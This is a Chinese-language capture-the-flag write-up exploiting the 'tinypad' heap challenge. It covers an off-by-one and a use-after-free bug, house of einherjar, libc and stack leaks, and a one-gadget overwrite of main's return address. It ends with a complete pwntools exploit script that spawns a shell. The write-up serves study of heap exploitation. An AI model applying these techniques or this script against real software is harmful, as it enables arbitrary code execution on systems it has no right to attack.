栗子https://github.com/tower111/software.git
got表不可写：劫持程序执行流的思路1.复写hook函数。2.覆盖返回地址
canary和NX保护。
漏洞和数据结构
if ( v13 > 0 && v13 <= 4 )
{
if ( *(_QWORD *)&tinypad[16 * (v13 - 1 + 16LL)] )
{
c = '0';
strcpy(tinypad, *(const char **)&tinypad[16 * (v13 - 1 + 16LL) + 8]);
while ( toupper(c) != 'Y' )
{
write_n((__int64)"CONTENT: ", 9LL);
v8 = strlen(tinypad);
writeln((__int64)tinypad, v8);
write_n((__int64)"(CONTENT)>>> ", 13LL);
v9 = strlen(*(const char **)&tinypad[16 * (v13 - 1 + 16LL) + 8]);
read_until((__int64)tinypad, v9, 0xAu);
writeln((__int64)"Is it OK?", 9LL);
write_n((__int64)"(Y/n)>>> ", 9LL);
read_until((__int64)&c, 1uLL, 0xAu);
}
strcpy(*(char **)&tinypad[16 * (v13 - 1 + 16LL) + 8], tinypad);
v3 = 8LL;在bss段偏移0x100位置处会放入size和chunk的地址，chunk里面存放content。
bss段的开始存放的是edit函数缓冲的数据。
1.函数自定义的read函数存在off by one 漏洞。这个代码比较麻烦可以手动测试得出结论。可以复写每个chunk的prive_size和prive_inuse字段，在edit长度为256的时候会覆盖掉memo1的size字段（只能设置为0）
2.在free之后只是把size置0并没有把指针清零，存在UAF漏洞。
利用思路
只有off by one利用需要2层chunk，这里只有一层显然不行（参考https://ctf-wiki.github.io/ctf-wiki/pwn/heap/off_by_one/）。
unlink需要堆溢出，完整操作下一个堆，这里只利用unlink也不行（可以用double free 或者其他方法获取到一个堆的完整控制权，再用unlink应该是可以的）。
double free：
if ( v8 == 'D' )
{
write_n("(INDEX)>>> ", 11LL, v9);
v20 = read_int();
if ( v20 > 0 && v20 <= 4 )
{
if ( *(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] )
{
free(*(void **)&tinypad[16 * (v20 - 1 + 16LL) + 8]);
*(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] = 0LL;
writeln("\nDeleted.", 9LL);
}
else
{
writeln("Not used", 8LL);
}
}这里对free函数做了限制，不能double free
house of einherjar是什么参考https://ctf-wiki.github.io/ctf-wiki/pwn/heap/house_of_einherjar/
house of einherjar需要：能够修改inuse位，申请到的空间内容两个单位可以控制。（对于进行unlink的chunk并不会检查自己的size部分）
利用house of einherjar 申请到bss段的空间,修改memo数组，实现复写hook_malloc或者是修改返回地址
v9 = strlen(*(const char **)&tinypad[16 * (v13 - 1 + 16LL) + 8]);
read_until((__int64)tinypad, v9, 0xAu);由于会读取原长度然后输入，malloc_hook初始为0所以不能用就只能用第二种方案了。
获取返回地址的方案：泄露libc找到__environ函数计算出main_arean的地址
1.申请到bss空间需要：heap地址，bss地址
2.复写返回地址需要：libc地址，一段合适的ropgedat
获取需要数据
先找ropgedat
搜索libc库的/bin/sh 字符串可以找到这里，很完美的一段ropgedat
text:000000000004520F loc_4520F: ; CODE XREF: sub_44E20+16E↑j
.text:000000000004520F lea rax, aBinSh+5 ; "sh"
.text:0000000000045216 lea rsi, unk_3C6560
.text:000000000004521D xor edx, edx
.text:000000000004521F mov edi, 2
.text:0000000000045224 mov [rsp+188h+var_148], rbx
.text:0000000000045229 mov [rsp+188h+var_140], 0
.text:0000000000045232 mov [rsp+188h+var_158], rax
.text:0000000000045237 lea rax, aC ; "-c"
.text:000000000004523E mov [rsp+188h+var_150], rax
.text:0000000000045243 call sigaction
.text:0000000000045248 lea rsi, unk_3C64C0
.text:000000000004524F xor edx, edx
.text:0000000000045251 mov edi, 3
.text:0000000000045256 call sigaction
.text:000000000004525B xor edx, edx
.text:000000000004525D mov rsi, r12
.text:0000000000045260 mov edi, 2
.text:0000000000045265 call sigprocmask
.text:000000000004526A mov rax, cs:environ_ptr_0
.text:0000000000045271 lea rdi, aBinSh ; "/bin/sh"
.text:0000000000045278 lea rsi, [rsp+188h+var_158]
.text:000000000004527D mov cs:dword_3C64A0, 0
.text:0000000000045287 mov cs:dword_3C64A4, 0
.text:0000000000045291 mov rdx, [rax]
.text:0000000000045294 call execvefast bin大小的chunk在释放后会在fd指针处写入数据，组成单链表。
输出这个时候chunk中内容即可。
small bin大小的块释放后进入unsort bin。unsort bin里面fd和bk是双向链表，链里面的第一个chunk的fd，bk指针会指向main_arena地址处，这个地址和libc_base之间的偏移是固定的。
利用代码分析
add(0x10, 'a')
add(0x10,"b")
add(0x100,"c")
delete(2)
delete(1)
p.recvuntil(" # CONTENT: ")
heap_base=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x20
print "heap_base="+hex(heap_base)
gdb.attach(p)
#x /10xg 0x602140
delete(3)
p.recvuntil(" # CONTENT: ")
main_arena=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
print "main_arena="+hex(main_)
删除chunk1和chunk2的之后输出heap_base
pwndbg> x /10xg 0x2110000
0x2110000: 0x0000000000000000 0x0000000000000021
0x2110010: 0x0000000002110020 0x0000000000000000
0x2110020: 0x0000000000000000 0x0000000000000021
0x2110030: 0x0000000000000000 0x0000000000000000
0x2110040: 0x0000000000000000 0x0000000000000111所以这里要减去0x20（ubuntu18在这里不能减0x20了）。
在删除chunk3之后chunk3会合并相邻的2个chunk合并之后在放入unsort bin里面，然后被topchunk回收。
pwndbg> heap
0x148b000 PREV_INUSE {
prev_size = 0x0,
size = 0x21001,
fd = 0x7f434a1aab78 <main_arena+88>,
bk = 0x7f434a1aab78 <main_arena+88>,
fd_nextsize = 0x20,
bk_nextsize = 0x20
}
满足放进unsort bin，仅有一个chunk所以fd和bk
位置处都是main_arena 。
如何获取到main_arena和libc之间的偏移？
liu@liu-VirtualBox:~$ pidof tinypad
4072
liu@liu-VirtualBox:~$ cat /proc/4072/maps
00400000-00402000 r-xp 00000000 08:01 471441 /home/liu/Desktop/tinypad
00601000-00602000 r--p 00001000 08:01 471441 /home/liu/Desktop/tinypad
00602000-00603000 rw-p 00002000 08:01 471441 /home/liu/Desktop/tinypad
01082000-010a3000 rw-p 00000000 00:00 0 [heap]
7ff38f379000-7ff38f539000 r-xp 00000000 08:01 457287 /lib/x86_64-linux-gnu/libc-2.23.so
7ff38f539000-7ff38f739000 ---p 001c0000 08:01 457287 /lib/x86_64-linux-gnu/libc-2.23.so
7ff38f739000-7ff38f73d000 r--p 001c0000 08:01 457287 /lib/x86_64-linux-gnu/libc-2.23.so
7ff38f73d000-7ff38f73f000 rw-p 001c4000 08:01 457287 /lib/x86_64-linux-gnu/libc-2.23.so
7ff38f73f000-7ff38f743000 rw-p 00000000 00:00 0
7ff38f743000-7ff38f769000 r-xp 00000000 08:01 457280 /lib/x86_64-linux-gnu/ld-2.23.so
7ff38f949000-7ff38f94c000 rw-p 00000000 00:00 0
7ff38f968000-7ff38f969000 r--p 00025000 08:01 457280 /lib/x86_64-linux-gnu/ld-2.23.so
7ff38f969000-7ff38f96a000 rw-p 00026000 08:01 457280 /lib/x86_64-linux-gnu/ld-2.23.so
7ff38f96a000-7ff38f96b000 rw-p 00000000 00:00 0
7fffbd9ac000-7fffbd9cd000 rw-p 00000000 00:00 0 [stack]
7fffbd9fb000-7fffbd9fd000 r--p 00000000 00:00 0 [vvar]
7fffbd9fd000-7fffbd9ff000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]main_arena=0x7ff38f73db78
offset=0x7ff38f73db78-0x7ff38f379000=0x3c4b78
到这里需要的数据基本上完成了。
接下来是构造house of einherjar
add(0x18,"d"*0x18)
add(0x100,"e"*0xf8+'\x11')
add(0x100,'f'*0xf8)在free的时候会检查下一个chunk的size所以这里需要加个’\x11’本chunk的size从0x111覆盖后会变为0x100
fake_addr=0x602040+0x20
size=heap_base-fake_addr+0x20
print hex(size)
payload="b"*0x20+p64(0)+p64(0x101)+p64(fake_addr)*2
edit(3,payload)这里并没有写入到chunk3里面但是会写入到bss段的开始，我们在这里构造的fake_chunk. 为了绕过unlink的检查这里的fd和bk
必须都是fake_addr。size和prive_inuse需要是下一个溢出chunk的下一个chunk（这里是chunk3）的size,inuse为1（默认unsortbin中第一个chunk的prive_inuse位为1）。（在wiki上看到说unlink的时候fakechunk的size不会检验，只会检查chunk2的size。为什么size非要是这样不知道原因，希望大佬看到这篇文章帮助一下）。
接下来是利用off by one漏洞来修改inuse位
for i in range(len(p64(size))-len(p64(size).strip('\x00'))+1):
edit(1,'a'*0x10+p64(size).strip('\x00').rjust(8-i,'f'))
delete(2)
p.recvuntil("\nDeleted.")
因为是用strcpy所以中间有\x00会截断，这里用循环来实现写入size。
执行完delete之后就是这样，伪造的chunk会放入unsort bin中，这个过程会设置size和fd，bk。有一点需要注意，下次申请的空间会先查找这里，然后才会用top chunk。我们正常申请0x000000000197c0c0那么大的chunk的话会用mmap，所以想要真正起作用还需要修改这个size。
payload="a"*0x20+p64(0)+p64(0x111)+p64(main_arena)+p64(main_arena)
edit(4,payload)程序是先copy原数据到bss段，并且edit的size也不能超过原size（这个size是用strlen读取到的），所以添加一个新的chunk比较方便
接下就是泄露返回地址和复写返回地址。
思路：设置chunk1指向environ的地址就能输出，泄露计算出main_ret_addr，让chunk1指向，main_ret_addr修改chunk1为gedgat。
想要修改chunk1可以让chunk2指向chunk1.
getgat=libc_base+0x45216
environ_point=libc_base+libc.symbols['__environ']
payload="A"*0xd0+p64(0x100)+p64(environ_point)+p64(0x100)+p64(0x602148)
add(0x100,payload)
environ_addr=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
print "environ_addr="+hex(environ_addr)
main_ret_addr=environ_addr-30*8注意这里的p64(0x100),不能设置为0如果为0会导致下面的edit失败。这也是本题不能用double free的原因。
万事俱备接下来修改就行了
edit(2,p64(main_ret_addr))
edit(1,p64(getgat))
p.sendline("q")
p.interactive()完整exp
from pwn import *
context.log_level="debug"
p=process("tinypad")
elf=ELF("./tinypad")
libc=ELF("./libc.so.6")
offset=0x3c4b78
def add(size,content):
p.recvuntil("(CMD)>>> ")
p.sendline("A")
p.recvuntil("(SIZE)>>> ")
p.sendline(str(size))
p.recvuntil("(CONTENT)>>> ")
p.sendline(content)
def delete(index):
p.recvuntil("(CMD)>>> ")
p.sendline("D")
p.recvuntil("(INDEX)>>> ")
p.sendline(str(index))
#size=0,p!=NULL
#\x00
def edit(index,content):
p.recvuntil("(CMD)>>> ")
p.sendline("E")
p.recvuntil("(INDEX)>>> ")
p.sendline(str(index))
p.recvuntil("(CONTENT)>>> ")
p.sendline(content)
p.recvuntil("(Y/n)>>> ")
p.sendline("Y")
add(0x10, 'a')
add(0x10,"b")
add(0x100,"c")
delete(2)
delete(1)
p.recvuntil(" # CONTENT: ")
heap_base=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x20
print "heap_base="+hex(heap_base)
#gdb.attach(p)
#x /10xg 0x602140
delete(3)
p.recvuntil(" # CONTENT: ")
main_arena=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
print "main_arena="+hex(main_arena)
libc_base=main_arena-offset
print "libc_base="+hex(libc_base)
# house of einherjar
add(0x18,"d"*0x18)
add(0xf0,"e"*0xf0)
add(0xf0,'f'*0xf8)
add(0x100,"f"*0xf8)
fake_addr=0x602040+0x20
size=heap_base-fake_addr+0x20
print hex(size)
payload="b"*0x20+p64(0x11111111)+p64(0xf1)+p64(fake_addr)*2
edit(3,payload)
for i in range(len(p64(size))-len(p64(size).strip('\x00'))+1):
edit(1,'a'*0x10+p64(size).strip('\x00').rjust(8-i,'f'))
#edit(1,'a'*0x10+p64(size))
#gdb.attach(p)
delete(2)
p.recvuntil("\nDeleted.")
payload="a"*0x20+p64(0)+p64(0x111)+p64(main_arena)+p64(main_arena)
edit(4,payload)
#gdb.attach(p)
getgat=libc_base+0x45216
environ_point=libc_base+libc.symbols['__environ']
payload="A"*0xd0+p64(0x100)+p64(environ_point)+p64(0x100)+p64(0x602148)
add(0x100,payload)
#gdb.attach(p)
p.recvuntil(" # CONTENT: ")
environ_addr=u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
print "environ_addr="+hex(environ_addr)
main_ret_addr=environ_addr-30*8
print "main_ret _addr="+hex(main_ret_addr)
gdb.attach(p)
edit(2,p64(main_ret_addr))
edit(1,p64(getgat))
p.sendline("q")
p.interactive()
本例只适用与unbutu16 ，因为18管理策略变了所以不能get shell。
参考：https://ctf-wiki.github.io/ctf-wiki/pwn/heap/house_of_einherjar/
我的邮箱[email protected] 希望有老哥能解决我的问题，也欢迎求助。